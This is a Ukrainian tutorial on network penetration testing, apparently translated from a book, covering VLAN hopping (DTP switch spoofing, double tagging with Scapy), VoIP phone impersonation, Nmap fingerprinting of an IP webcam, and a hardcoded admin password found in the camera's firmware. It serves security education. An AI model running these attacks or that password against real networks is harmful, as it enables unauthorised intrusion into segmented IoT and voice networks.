Частина 4. Злом мережі (Оцінка мережі)

6 жовтня 2023 15 хвилин Автор: Lady Liberty

Безпека у мережі: Поглиблений підхід до захисту та оцінки

Злом мережі це термін, який використовується для опису незаконного доступу або порушення безпеки комп’ютерних або інформаційних систем. Це може включати в себе різні дії, такі як несанкціонований доступ до конфіденційних даних, вірусні атаки, злам паролів, використання шкідливих програм і багато іншого. Злом мережі є незаконним і може мати серйозні правові наслідки. Основна мета таких дій – отримати несанкціонований доступ до інформації або завдати шкоди комп’ютерним системам. Для захисту від злому мережі, компанії і організації використовують різні заходи безпеки, такі як використання сильних паролів, захист від вірусів, вогнезахисні системи та інші технології. Оцінка мережі (іноді також називається аудитом мережі) – це процес визначення стану і ефективності комп’ютерної мережі або інформаційної інфраструктури.

Основна мета оцінки мережі полягає в ідентифікації можливих проблем, вразливостей та вдосконалень, які можуть бути внесені для забезпечення безпеки, продуктивності і надійності мережі. Оцінка мережі є важливою складовою управління інформаційною технологією і допомагає організаціям забезпечити надійну та ефективну роботу їхніх мереж, а також зменшити ризики виникнення проблем та інцидентів у майбутньому.  Кожна мережа – це унікальний світ зі своєю інфраструктурою, конфігурацією та потенційними слабкими місцями. У “Частині 4: Злом мережі”, ми занурюємося в глибокий аналіз того, як правильно оцінити мережу з точки зору безпеки. Сучасні мережі — це не лише комп’ютери та сервери. Це множина пристроїв, від мобільних телефонів до IoT-девайсів, які можуть стати потенційними вхідними точками для атак. Розуміння того, як оцінити ці “двері”, є ключем до ефективного і безпечного тестування проникненням. На нашому сайті, ви отримаєте знання та навички, які дозволять вам визначити, наскільки ваша мережа є захищеною, та які кроки потрібно зробити для її оптимізації. Це не лише теоретичний матеріал – це практичний посібник для кожного спеціаліста у галузі кібербезпеки. Не пропустіть цю унікальну можливість поглибити свої знання у сфері оцінки мережевої безпеки!

Міграція в мережу IoT

Більшість організацій намагаються підвищити безпеку своїх мереж, впроваджуючи  стратегії сегментації та сегрегації мережі. Ці стратегії відокремлюють ресурси з нижчими вимогами до безпеки, такі як пристрої в гостьовій мережі, від критично важливих компонентів інфраструктури організації, таких як веб-сервери, розташовані в дата-центрі, а також мережа VoIP для телефонії співробітників. Мережа IoT також може бути критично важливим компонентом. Наприклад, компанія може використовувати камери відеоспостереження та пристрої контролю доступу, такі як дверні замки з дистанційним керуванням. Щоб розділити мережу, компанія зазвичай встановлює периметральні брандмауери або комутатори та маршрутизатори, які ділять мережу на кілька зон.

Одним із поширених способів сегментації мережі є використання VLAN, які є логічними підмножинами більшої спільної фізичної мережі. Пристрої повинні бути підключені до однієї VLAN, щоб обмінюватися даними один з одним. Будь-яке з’єднання з пристроєм, який належить до іншої VLAN, має проходити через комутатор рівня 3, пристрій, який поєднує в собі функції комутатора та маршрутизатора, або просто маршрутизатора. ACL вибірково приймають або відхиляють вхідні пакети за допомогою розширених наборів правил, забезпечуючи точний контроль над мережевим трафіком.

Однак, якщо компанія не налаштовує ці VLAN безпечно або використовує небезпечні протоколи, зловмисник може обійти обмеження, виконавши атаку стрибка VLAN. У цьому розділі ми розглянемо цю атаку для доступу до захищеної мережі IoT організації.

VLAN і мережеві комутатори

Щоб виконати VLAN-атаку, потрібно розуміти, як працюють мережеві комутатори. На комутаторі кожен порт налаштований або як порт доступу, або як магістральний порт (деякі постачальники називають його портом з міткою або міткою)

Коли пристрій, наприклад, IP-камера, підключено до порту доступу, мережа припускає, що пакети, які вона передає, належать певній VLAN. З іншого боку, коли пристрій підключається до магістрального порту, він встановлює транк VLAN, тип з’єднання, який дозволяє пакетам будь-якого VLAN проходити через нього. В основному ми використовуємо магістралі для підключення декількох комутаторів і маршрутизаторів.

Для ідентифікації магістрального трафіку, що належить кожному  VLAN, комутатор використовує метод ідентифікації, який називається VLAN-тегуванням. Він позначає пакети, що проходять через магістраль, міткою, яка відповідає ідентифікатору VLAN порту доступу. Коли пакети надходять на комутатор призначення, комутатор видаляє тег і використовує його для пересилання пакетів на правильний порт доступу. Мережі можуть використовувати один з декількох протоколів для виконання Теги VLAN, такі як Inter-Switch Link (ISL), Емуляція локальної мережі (LANE), а також IEEE 802.1Q і 802.10 (FDDI).

Підміна перемикача

Багато мережевих комутаторів динамічно встановлюють магістралі VLAN за допомогою власного мережевого протоколу Cisco під назвою  Dynamic Trunking Protocol (DTP). DTP дозволяє двом підключеним комутаторам створити магістраль, а потім узгодити метод тегування VLAN.

Під час атаки підміни комутатора зловмисники використовують цей протокол, вдаючи, що їхній пристрій є мережею комутаторів, і змушуючи законний комутатор встановити до нього магістральне з’єднання (рис. 4.2). В результаті такої атаки можливий доступ до пакетів, що походять з будь-якого VLAN на комутаторі жертви.

Спробуємо здійснити таку атаку. Ми будемо відправляти DTP-пакети, які виглядають як пакети, від реального комутатора в мережі за допомогою інструменту з відкритим вихідним кодом Yersinia (https://github.com/tomac/yersinia/). Yersinia попередньо встановлено на Kali Linux, але якщо ви використовуєте останню версію Kali, вам потрібно спочатку встановити збірний пакунок kali-linux-large, виконавши таку команду в терміналі:

$ sudo apt install kali-linux-large

Зазвичай ми рекомендуємо використовувати попередній підхід замість інструментів ручної компіляції, оскільки ми виявили проблеми компіляції з деякими інструментами в нових версіях Kali. Крім того, ви можете спробувати скомпілювати Yersinia за допомогою таких команд:

# apt-get install libnet1-dev libgtk2.0-dev libpcap-dev
# tar xvfz yersinia-0.8.2.tar.gz && cd yersinia-0.8.2 && ./autogen.sh
# ./configure
# make && make install

Щоб встановити транкінг з пристроєм зловмисника, відкрийте графічний інтерфейс Yersinia:

# yersinia -G

В інтерфейсі натисніть Launch Attack.  Потім на вкладці DTP виберіть  опцію включення транкінгу .

Коли ви вибираєте цю опцію, Yersinia повинна імітувати комутатор, який підтримує протокол DTP, підключатися до порту комутатора жертви та повторно надсилати пакети DTP, необхідні для встановлення транку з жертвою. Якщо ви хочете надіслати лише один необроблений пакет DTP, виберіть перший варіант.

Після включення транкінга на вкладці DTP у вкладці 802.1Q (рисунок 4.4) ви повинні побачити дані з доступних VLAN (рисунок 4.4).

Дані також включають доступні ідентифікатори VLAN. Щоб отримати доступ до пакетів VLAN, спочатку визначте свій мережевий інтерфейс за допомогою команди nmcli, яка попередньо встановлена на Kali Linux:

# nmcli
eth1: connected to Wired connection 1
 "Realtek RTL8153"
 ethernet (r8152), 48:65:EE:16:74:F9, hw, mtu 1500

В даному прикладі ноутбук зловмисника має мережевий інтерфейс eth1. Введіть наступні команди в терміналі Linux:

# modprobe 8021q
# vconfig add eth1 20
# ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up

Спочатку ми завантажуємо модуль ядра для методу тегування  VLAN за допомогою команди modprobe, яка попередньо встановлена на Kali Linux. Далі ми створюємо новий інтерфейс з потрібним ідентифікатором VLAN за допомогою команди vconfig, за яким слідує параметр add, ім’я нашого мережевого інтерфейсу та ідентифікатор VLAN.  Команда vconfig попередньо встановлена на Kali  Linux і включена в  пакет vlan  в інших дистрибутивах Linux. У нашому випадку ми вкажемо ідентифікатор VLAN 20, який використовується для мережі IoT, у цьому прикладі та призначимо його мережевому адаптеру на ноутбуці зловмисника. Ви також можете вибрати адресу IPv4 за допомогою  команди ifconfig.

Подвійне теґування

Як згадувалося раніше, порт доступу надсилає та отримує пакети без тегу VLAN, оскільки передбачається, що ці пакети належать певному VLAN. З іншого боку, пакети, які надсилає та отримує магістральний порт, повинні бути позначені VLAN. Це дозволяє проходити пакетам, що походять з довільних портів доступу, навіть тих, що належать різним VLAN. Але з цього правила є певні винятки, залежно від використовуваного протоколу тегування VLAN. Наприклад,  У IEEE 802.1Q, якщо пакет надходить на магістральний порт і не має мітки VLAN, комутатор автоматично пересилає пакет на попередньо визначений  VLAN, який називається рідним VLAN.  Як правило, цей пакет має ідентифікатор VLAN, рівний 1.

Якщо оригінальний ідентифікатор VLAN належить одному з портів доступу до комутатора, або якщо зловмисник отримав його в рамках атаки спуфінгу комутатора, зловмисник може виконати атаку з подвійним тегом.

Коли пакет, який проходить через магістраль, надходить до магістрального порту комутатора призначення, порт призначення видаляє свою мітку VLAN, а потім використовує цю мітку для передачі пакета потрібним пакетам користувача. Ви можете додати дві мітки VLAN і обманом змусити перемикач видалити лише зовнішню. Якщо це рідна мітка VLAN, комутатор перенаправить пакет з внутрішньою міткою на свій магістраль, на другий комутатор. Коли пакет надходить на магістральний порт комутатора призначення, цей комутатор буде використовувати внутрішню мітку для пересилання пакета на відповідний порт доступу. Ви можете використовувати цей метод для надсилання пакетів на пристрій, до якого інакше ви не змогли б дотягнутися, наприклад, на сервер моніторингу пристроїв IoT, як показано на малюнку 4.5.

Щоб виконати атаку, зовнішній тег VLAN повинен ідентифікувати власний VLAN зловмисника, який також повинен бути вихідним VLAN встановленого стовбура, тоді як внутрішній тег повинен ідентифікувати VLAN, до якого належить цільовий пристрій IoT. Ми можемо використовувати фреймворк Scapy (https://scapy.net/), потужна програма обробки пакетів, написана на Python для створення пакета з цими двома тегами VLAN. Встановити Scapy можна за допомогою менеджера пакетів Python.

# pip install scapy

Наведений нижче код Python надсилає пакет ICMP на цільовий пристрій із адресою IPv4 192.168.1.10, розташований у VLAN 20. Ми позначаємо ICMP-пакет двома ідентифікаторами VLAN: 1 і 20.

from scapy.all import *
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Функція Ether() створює автоматично згенерований рівень зв’язку. Далі створюємо  два теги VLAN за допомогою  функції Dot1Q(). Функція IP()   визначає настроюваний мережевий рівень для маршрутизації пакета на пристрій жертви. Нарешті, ми додаємо автоматично згенероване корисне навантаження, що містить транспортний рівень, який ми хочемо використовувати (у нашому випадку ICMP). Відповідь ICMP ніколи не дійде до пристрою але ми можемо перевірити успіх атаки, спостерігаючи за мережевими пакетами у VLAN жертви за допомогою Wireshark.

Імітація пристроїв VoIP

Більшість корпоративних мережевих середовищ містять VLAN для своїх голосових мереж. Незважаючи на те, що вони призначені для використання співробітниками телефонів VoIP, сучасні пристрої VoIP все частіше інтегруються з пристроями IoT. Багато співробітників тепер можуть відкривати двері за допомогою спеціального номера телефону, керувати термостатом у приміщенні, дивитися камери відеоспостереження в прямому ефірі на екрані VoIP-пристрою, отримувати голосові повідомлення електронною поштою та отримувати сповіщення з корпоративного календаря на свої VoIP-телефони. У цих випадках мережа VoIP виглядає приблизно так.

Якщо телефони VoIP можуть підключатися до корпоративної мережі IoT, зловмисники можуть імітувати пристрої VoIP, щоб отримати доступ до цієї мережі. Для здійснення цієї атаки ми будемо використовувати інструмент з відкритим вихідним кодом під назвою VoIP Hopper (http://voiphopper.sourceforge.net/). VoIP Hopper імітує поведінку VoIP-телефону в середовищах Cisco, Avaya, Nortel і Alcatel-Lucent. Він автоматично виявляє правильний ідентифікатор VLAN для голосової мережі за допомогою одного з протоколів виявлення пристроїв, які він підтримує, таких як Cisco Discovery Protocol (CDP), Dynamic Host Configuration Protocol (DHCP), Link Layer Discovery Protocol Media Endpoint Discovery (LLDP-MED) і 802.1Q ARP. Ми не будемо далі досліджувати, як працюють ці протоколи, оскільки їхня внутрішня робота не має відношення до атаки.

VoIP Hopper попередньо встановлено на Kali Linux. Якщо ви не використовуєте Kali, ви можете вручну завантажити та встановити інструмент із веб-сайту постачальника за допомогою таких команд:

# tar xvfz voiphopper-2.04.tar.gz && cd voiphopper-2.04
# ./configure
# make && make install

Далі ми будемо використовувати VoIP Hopper для моделювання протоколу Cisco CDP. CDP дозволяє пристроям Cisco виявляти інші пристрої Cisco поблизу, навіть якщо вони використовують різні протоколи мережевого рівня. У цьому прикладі ми моделюємо підключений VoIP-пристрій Cisco і призначаємо його правильному VLAN, що дає нам додатковий доступ до корпоративної голосової мережі:

# voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
VoIP Hopper 2.04 Running in CDP Spoof mode
Sending 1st CDP Spoofed packet on eth1 with CDP packet data:
Device ID: SEP001EEEEEEEEE; Port ID: Port 1; Software: SCCP70.8-3-3SR2S
Platform: Cisco IP Phone 7971; Capabilities: Host; Duplex: 1
Made CDP packet of 125 bytes - Sent CDP packet of 125 bytes
Discovered VoIP VLAN through CDP: 40
Sending 2nd CDP Spoofed packet on eth1 with CDP packet data:
Device ID: SEP001EEEEEEEEE; Port ID: Port 1; Software: SCCP70.8-3-3SR2S
Platform: Cisco IP Phone 7971; Capabilities: Host; Duplex: 1
Made CDP packet of 125 bytes - Sent CDP packet of 125 bytes
Added VLAN 20 to Interface eth1
Current MAC: 00:1e:1e:1e:1e:90
VoIP Hopper will sleep and then send CDP Packets
Attempting dhcp request for new interface eth1.20
VoIP Hopper dhcp client: received IP address for eth1.20: 10.100.10.0

VoIP Hopper підтримує три режими CDP. Режим сніфінгу перевіряє мережеві пакети та намагається знайти ідентифікатор VLAN. Щоб скористатися ним, встановіть для параметра -c значення  0. Режим спуфінгу генерує користувальницькі пакети, подібні до тих, які передає справжній VoIP-пристрій у корпоративній мережі. Щоб скористатися ним, встановіть для параметра -c значення Значення 1. Режим попередньої підміни пакетів надсилає ті ж пакети, що й Cisco IP Phone 7971G-GE. Щоб скористатися ним, встановіть для параметра -c значення  2.

Ми використовуємо останній метод, тому що це найшвидший підхід. Параметр -i  визначає мережевий інтерфейс зловмисника, а параметр  –E – ім’я  змодельованого пристрою VOIP. Ми вибрали  SEP001EEEEEEEEE назву, сумісну з форматом іменування Cisco для телефонів VoIP. Формат складається зі слова SEPа потім MAC-адреса. У корпоративному середовищі ви можете змоделювати існуючий VoIP-пристрій, подивившись на MAC-мітку на задній панелі  телефону, натиснувши кнопку «Налаштування»  та вибравши опцію «Інформація про модель»  на екрані телефону, або підключивши кабель Ethernet пристрою VoIP до портативного комп’ютера та спостерігаючи за запитами CDP пристрою за допомогою Wireshark.

Якщо інструмент працює успішно, VLAN призначить IPv4-адресу пристрою зловмисника. Щоб переконатися в тому, що атака спрацювала, ви можете спостерігати за реакцією DHCP на це в Wireshark (рисунок 4.7).

Тепер ми можемо ідентифікувати пристрої IoT, розташовані в цій мережі IoT.

Визначте пристрої IoT у вашій мережі

Одна з проблем, з якою ви зіткнетеся, намагаючись ідентифікувати пристрої IoT у мережі, полягає в тому, що вони часто використовують стеки технологій. Наприклад, BusyBox, популярний виконуваний файл на пристроях IoT, зазвичай запускає одні й ті ж мережеві служби на всіх пристроях. Це ускладнює ідентифікацію пристрою за його послугами.

Це означає, що нам потрібно заглиблюватися в деталі. Ми повинні створити спеціальний запит в надії отримати відповідь від цільового пристрою, яка дозволить його однозначно ідентифікувати.

Визначення пароля за допомогою дактилоскопічних сервісів

Нижче наведено типовий приклад того, як іноді можна перейти від виявлення невідомої служби до виявлення жорстко закодованого бекдору, яким можна зловживати. Ми будемо орієнтуватися на веб-камеру з IP-адресою.

З усіх доступних інструментів, Nmap має найповнішу базу даних для сервісного дактилоскопічного друку. Nmap доступний за замовчуванням у орієнтованих на безпеку дистрибутивах Linux, таких як Kali, але ви можете отримати його вихідний код або попередньо скомпільовані двійкові файли для всіх основних операційних систем, включаючи Linux, Windows і macOS, за адресою https://nmap.org/. Він використовує файл nmap-service-probes, розташований у кореневій папці Nmap, для зберігання тисяч підписів для всіх видів служб. Ці сигнатури складаються з зондів,  часто відправляються дані, а іноді і сотні рядків, які відповідають відомим відгукам на конкретні сервіси.

При спробі ідентифікувати пристрій і служби, які він використовує, найперша команда Nmap, яку ви повинні спробувати, це сканування з увімкненими Service Definition (-sV) та Operating System Definition (-O):

# nmap -sV -O <target>

Цього сканування зазвичай достатньо, щоб визначити базову операційну систему та основні служби, включаючи їхні версії.

Але хоча ця інформація цінна сама по собі, ще корисніше виконати сканування, яке збільшує глибину сканування версій до максимального рівня, використовуючи  аргументи –version-all  або  –version-intensity 9. Збільшення глибини сканування версій змушує Nmap ігнорувати   параметр рівня рідкості  (число, що вказує на те, наскільки поширеною є служба згідно з дослідженнями Nmap) і вибір порту та запуск усіх зондувань для будь-якої служби, яку він виявляє.

Коли ми запустили повне сканування портів (-p-) веб-вимірювання IP з увімкненим визначенням версій і збільшенням глибини до максимуму, сканування виявило нову службу, запущену на вищих портах, які не були виявлені попереднім скануванням:

# nmap -sV --version-all -p- <target>
Host is up (0.038s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp OpenBSD ftpd 6.4 (Linux port 0.17)
80/tcp open http Boa HTTPd 0.94.14rc21
554/tcp open rtsp Vivotek FD8134V webcam rtspd
8080/tcp open http Boa HTTPd 0.94.14rc21
42991/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, 
please submit
the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port42991-TCP:V=7.70SVN%I=7%D=8/12%Time=5D51D3D7%P=x86_64-unknown-linux
SF:-gnu%r(GenericLines,3F3,"HTTP/1\.1\x20200\x20OK\r\nContent-Length:\x209
SF:22\x20\r\nContent-Type:\x20text/xml\r\nConnection:\x20Keep-Alive\r\n\r\
SF:n<\?xml\x20version=\"1\.0\"\?>\n<root\x20xmlns=\"urn:schemas-upnp-org:d
SF:evice-1-0\">\n<specVersion>\n<major>1</major>\n<minor>0</minor>\n</spec
SF:Version>\n<device>\n<deviceType>urn:schemas-upnp-org:device:Basic:1</de
SF:viceType>\n<friendlyName>FE8182\(10\.10\.10\.6\)</friendlyName>\n<manuf
SF:acturer>VIVOTEK\x20INC\.</manufacturer>\n<manufacturerURL>http://www\.v
SF:ivotek\.com/</manufacturerURL>\n<modelDescription>Mega-Pixel\x20Network
100  Глава 4
SF:\x20Camera</modelDescription>\n<modelName>FE8182</modelName>\n<modelNum
SF:ber>FE8182</modelNumber>\n<UDN>uuid:64f5f13e-eb42-9c15-ebcf-292306c172b
SF:6</UDN>\n<serviceList>\n<service>\n<serviceType>urn:Vivotek:service:Bas
SF:icService:1</serviceType>\n<serviceId>urn:Vivotek:serviceId:BasicServic
SF:eId</serviceId>\n<controlURL>/upnp/control/BasicServiceId</controlURL>\
SF:n<eventSubURL>/upnp/event/BasicServiceId</eventSubURL>\n<SCPDURL>/scpd_
SF:basic\.xml</");
Service Info: Host: Network-Camera; OS: Linux; Device: webcam; CPE: cpe:/
o:linux:linux_kernel,
cpe:/h:vivotek:fd8134v

Зверніть увагу, що залежно від кількості запущених служб це сканування може бути дуже помітним і трудомістким. Погано написане програмне забезпечення також може вийти з ладу, оскільки отримає тисячі несподіваних запитів. Шукайте в Twitter публікації з хештегом #KilledByNmap, щоб побачити безліч пристроїв, які виходять з ладу під час сканування.

Відмінно – Виявлено нову службу на порту 42991. Але навіть механізм виявлення служб Nmap з тисячами підписів не розпізнав його, оскільки він позначив службу як невідому в стовпці служби. Однак сервіс повернув дані. Nmap навіть пропонує надіслати підпис для покращення вашої бази даних (що ми рекомендуємо робити завжди).

Якщо ми уважніше подивимося на часткову відповідь, яку показує Nmap, ми зможемо розпізнати XML-файл, який містить інформацію про пристрій, таку як налаштоване ім’я, назву моделі та номер, а також служби. Ця відповідь виглядає цікаво, тому що сервіс працює на високопродуктивному, незвичайному порту:

SF-Port42991-TCP:V=7.70SVN%I=7%D=8/12%Time=5D51D3D7%P=x86_64-unknown-linux
SF:-gnu%r(GenericLines,3F3,"HTTP/1\.1\x20200\x20OK\r\nContent-Length:\x209
SF:22\x20\r\nContent-Type:\x20text/xml\r\nConnection:\x20Keep-Alive\r\n\r\
SF:n<\?xml\x20version=\"1\.0\"\?>\n<root\x20xmlns=\"urn:schemas-upnp-org:d
SF:evice-1-0\">\n<specVersion>\n<major>1</major>\n<minor>0</minor>\n</spec
SF:Version>\n<device>\n<deviceType>urn:schemas-upnp-org:device:Basic:1</de
SF:viceType>\n<friendlyName>FE8182\(10\.10\.10\.6\)</friendlyName>\n<manuf
SF:acturer>VIVOTEK\x20INC\.</manufacturer>\n<manufacturerURL>http://www\.v
SF:ivotek\.com/</manufacturerURL>\n<modelDescription>Mega-Pixel\x20Network
SF:\x20Camera</modelDescription>\n<modelName>FE8182</modelName>\n<modelNum
SF:ber>FE8182</modelNumber>\n<UDN>uuid:64f5f13e-eb42-9c15-ebcf-292306c172b
SF:6</UDN>\n<serviceList>\n<service>\n<serviceType>urn:Vivotek:service:Bas
SF:icService:1</serviceType>\n<serviceId>urn:Vivotek:serviceId:BasicServic
SF:eId</serviceId>\n<controlURL>/upnp/control/BasicServiceId</controlURL>\
SF:n<eventSubURL>/upnp/event/BasicServiceId</eventSubURL>\n<SCPDURL>/scpd_
SF:basic\.xml</");

Щоб спробувати згенерувати відповідь від пристрою для його ідентифікації, ми можемо відправити випадкові дані в сервіс. Але якщо ми зробимо це за допомогою ncat, з’єднання просто обірветься:

# ncat 10.10.10.6 42991
eaeaeaea
eaeaeaea
Ncat: Broken pipe.

Якщо ми не можемо відправити дані на цей порт, чому сервіс повернув дані, коли ми сканували їх раніше? Давайте перевіримо файл підпису Nmap, щоб побачити, які дані надіслав Nmap. Сигнатура містить ім’я зонду, який згенерував відповідь, — у цьому випадку GenericLines. Ми можемо переглянути цей зонд за допомогою наступної команди:

# cat /usr/local/share/nmap/nmap-service-probes | grep GenericLines
Probe TCP GenericLines q|\r\n\r\n|

У файлі nmap-service-probes ми можемо знайти ім’я цього зонда, за яким слідують дані, надіслані пристрою, відокремлені символами q | <data> |. Дані показують, що зондування GenericLines надсилає два повернення каретки та нові рядки.

Давайте надішлемо це безпосередньо на сканований пристрій, щоб отримати повну відповідь, яку показує Nmap:

# echo -ne "\r\n\r\n" | ncat 10.10.10.6 42991
HTTP/1.1 200 OK
Content-Length: 922
Content-Type: text/xml
Connection: Keep-Alive
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>FE8182(10.10.10.6)</friendlyName>
<manufacturer>VIVOTEK INC.</manufacturer>
<manufacturerURL>http://www.vivotek.com/</manufacturerURL>
<modelDescription>Mega-Pixel Network Camera</modelDescription>
<modelName>FE8182</modelName>
<modelNumber>FE8182</modelNumber>
<UDN>uuid:64f5f13e-eb42-9c15-ebcf-292306c172b6</UDN>
<serviceList>
<service>
<serviceType>urn:Vivotek:service:BasicService:1</serviceType>
<serviceId>urn:Vivotek:serviceId:BasicServiceId</serviceId>
<controlURL>/upnp/control/BasicServiceId</controlURL>
<eventSubURL>/upnp/event/BasicServiceId</eventSubURL>
<SCPDURL>/scpd_basic.xml</SCPDURL>
102  Глава 4
</service>
</serviceList>
<presentationURL>http://10.10.10.6:80/</presentationURL>
</device>
</root>

Сервіс надає багато корисної інформації, включаючи назву пристрою, назву моделі, номер моделі, а також внутрішні служби та служби пристрою. Зловмисник може використовувати цю інформацію для точного визначення веб-моделі IP та версії прошивки.

Але ми можемо піти далі. Давайте за назвою та номером моделі візьмемо прошивку пристрою з сайту виробника та розберемося, як він генерує цей XML-файл. (Див. Розділ 9, щоб отримати детальні інструкції щодо того, як отримати прошивку пристрою.) Після того, як ми отримали прошивку, ми витягуємо файлову систему всередині прошивки за допомогою binwalk:

$ binwalk -e <файл прошивки>

Після виконання цієї команди для прошивки IP-веб-камери ми виявили незашифровану прошивку, яку можна було проаналізувати. Файлова система має формат Squashfs, файлову систему лише для читання для Linux, яка зазвичай зустрічається на пристроях IoT.

Ми шукали рядки у відповіді XML, яку бачили раніше, і знайшли їх у двійковому check_fwmode:

$ grep -iR "modelName"
./usr/bin/update_backup: MODEL=$(confclient -g system_info_extendedmodelname -p 9 -t Value)
./usr/bin/update_backup: BACK_EXTMODEL_NAME=`${XMLPARSER} -x /root/system/info/
extendedmodelname -f ${BACKUP_SYSTEMINFO_FILE}`
./usr/bin/update_backup: CURRENT_EXTMODEL_NAME=`${XMLPARSER} -x /root/system/info/
extendedmodelname -f ${SYSTEMINFO_FILE}`
./usr/bin/update_firmpkg:getSysparamModelName()
./usr/bin/update_firmpkg: sysparamModelName=`sysparam get pid`
./usr/bin/update_firmpkg: getSysparamModelName
./usr/bin/update_firmpkg: bSupport=`awk -v modelName="$sysparamModelName" ‚BEGIN{bFlag=0}
{if((match($0, modelName)) && (length($1) == length(modelName))){bFlag=1}}END{print bFlag}'
$RELEASE_LIST_FILE`
./usr/bin/update_lens: SYSTEM_MODEL=$(confclient -g system_info_modelname -p 99 -t
Value)
./usr/bin/update_lens: MODEL_NAME=`tinyxmlparser -x /root/system/info/modelname -f
/etc/conf.d/config_systeminfo.xml`
./usr/bin/check_fwmode: sed -i "s,<modelname>.*</modelname>,<modelname></modelname>,g"
$SYSTEMINFO_FILE
./usr/bin/check_fwmode: sed -i "s,<extendedmodelname>.*</extendedmodelname>,<extendedmodeln
ame></extendedmodelname>,g" $SYSTEMINFO_FILE

Файл check_fwmode  містить  потрібний рядок, а всередині і ми також знайшли дещо цінне: виклик eval(), який включає змінну QUERY_STRING, що містить незмінний пароль, що зберігається безпосередньо в коді прошивки:

eval `REQUEST_METHOD='GET' SCRIPT_NAME='getserviceid.cgi' QUERY_STRING='pas
swd=0ee2cb110a9148cc5a67f13d62ab64ae30783031' /usr/share/www/cgi-bin/admin/
serviceid.cgi | grep serviceid`

Ми можемо використовувати цей пароль для виклику адміністративного скрипту CGI getserviceid.cgi або інших скриптів, які використовують той самий жорстко закодований пароль.

Написання нових інструментів зондування служб Nmap

Як ми бачили, інструмент виявлення версій Nmap працює дуже добре, а його база даних для зондувальних служб досить велика, оскільки поповнюється користувачами з усього світу. У більшості випадків Nmap розпізнає сервіс правильно, але що робити, якщо він припустився помилки – як у нашому попередньому прикладі з веб-камерою?

Формат відбитків пальців Nmap є простим, що дозволяє нам швидко розробляти нові сигнатури (описи функцій) для виявлення нових служб. Іноді сервіс включає додаткову інформацію про пристрій. Наприклад, антивірусна служба, наприклад ClamAV, може повертати дату оновлення вірусних баз даних, або мережева служба може включати номер збірки на додаток до своєї версії. У цьому розділі ми розробимо новий підпис для служби IP-веб-камери, що працює на порту 42991, який ми виявили в попередньому розділі.

Кожен рядок зондування повинен містити хоча б одну з команд, наведених у таблиці 4.1.

Як приклад розглянемо зонд NULL, який виконує просте захоплення банера служби: коли ви його використовуєте, Nmap не надсилає жодних даних; Він просто підключиться до порту, прослухає відповідь і спробує зіставити рядок з відомою відповіддю програми або служби.

# This is the NULL probe that compares any banners given to us
Probe TCP NULL q||
# Wait for at least 5 seconds for data. Otherwise an Nmap default is used.
totalwaitms 5000
# Windows 2003
match ftp m/^220[ -]Microsoft FTP Service\r\n/ p/Microsoft ftpd/
match ftp m/^220 ProFTPD (\d\S+) Server/ p/ProFTPD/ v/\/
softmatch ftp m/^220 [-.\w ]+ftp.*\r\n$/i

Зондування може мати декілька рядків сильних і м’яких відповідностей для виявлення служб, які відповідають на одні й ті самі дані запиту. Для найпростіших відбитків сервісів, таких як  NULL-тест,  нам знадобляться лише такі команди: Probe, rarity, ports та match.

Наприклад, щоб додати сигнатуру, яка правильно ідентифікує рідкісну службу, запущену на вашій веб-камері, додайте наступні рядки  до nmap-service-probes у вашому локальному кореневому каталозі Nmap. Він завантажиться автоматично разом з Nmap, тому немає необхідності перекомпілювати інструмент:

Probe TCP WEBCAM q|\r\n\r\n|
rarity 3
ports 42991
match networkcaminfo m|<modelDescription>Mega-Pixel| p/Mega-Pixel Network
Camera/

Зверніть увагу, що ми можемо використовувати спеціальні роздільники для надання додаткової інформації про послугу. Наприклад, p/<назва продукту>/ вказує назву товару. Nmap може заповнювати інші поля, такі як  i/ <додаткова інформація> / для пов’язаної інформації або v /<minor version information>/ для  номерів версій. Він може використовувати регулярні вирази для вилучення даних з відповіді. Коли ми повторно скануємо веб-камеру, Nmap видає наступні результати в порівнянні з нашим раніше невідомим сервісом:

# nmap -sV --version-all -p- <целевой хост>
Host is up (0.038s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp OpenBSD ftpd 6.4 (Linux port 0.17)
Оценка сети  105
80/tcp open http Boa HTTPd 0.94.14rc21
554/tcp open rtsp Vivotek FD8134V webcam rtspd
8080/tcp open http Boa HTTPd 0.94.14rc21
42991/tcp open networkcaminfo Mega-Pixel Network Camera

Якщо ми хочемо включити іншу інформацію до виводу Nmap, таку як номер моделі або універсальний унікальний ідентифікатор (UUID), нам просто потрібно витягти її за допомогою регулярних виразів. Нумеровані змінні ($1, $2, $3   і т.д.) будуть доступні для заповнення інформаційних полів. Ви можете побачити, як використовуються регулярні вирази та нумеровані змінні, у наведеному нижче рядку відповідності для ProFTPD:  Популярна служба передачі файлів з відкритим вихідним кодом, де інформація про версію (v/$1/) витягується з банера за допомогою регулярного виразу (\d\S+):

match ftp m/^220 ProFTPD (\d\S+) Server/ p/ProFTPD/ v/\/

Для отримання додаткової інформації про інші доступні поля перегляньте офіційну документацію Nmap за адресою https://nmap.org/ book/vscan-fileformat.html.

MQTT-атаки

MQTT — це  протокол міжмашинного зв’язку. Він використовується в датчиках, які працюють через супутниковий зв’язок, комутованому з’єднанні з постачальниками медичних послуг, домашній автоматизації та невеликих пристроях, які потребують низького енергоспоживання. MQTT працює поверх стека TCP/IP, але є надзвичайно легким, оскільки мінімізує обмін повідомленнями за допомогою архітектури публікації-підписки.

Архітектура публікації та підписки — це спосіб обміну повідомленнями, за допомогою якого відправники повідомлень, які називаються  видавцями, сортують повідомлення за категоріями, які називаються темами. Одержувачі  повідомлень –  передплатники – отримують лише повідомлення, пов’язані з темами, на які вони підписані. Потім архітектура використовує проміжні сервери, які називаються брокерами (брокер), щоб спрямувати всі повідомлення від видавців до передплатників. Рис. На малюнку 4.8 показана модель публікації-підписки, яку використовує MQTT.

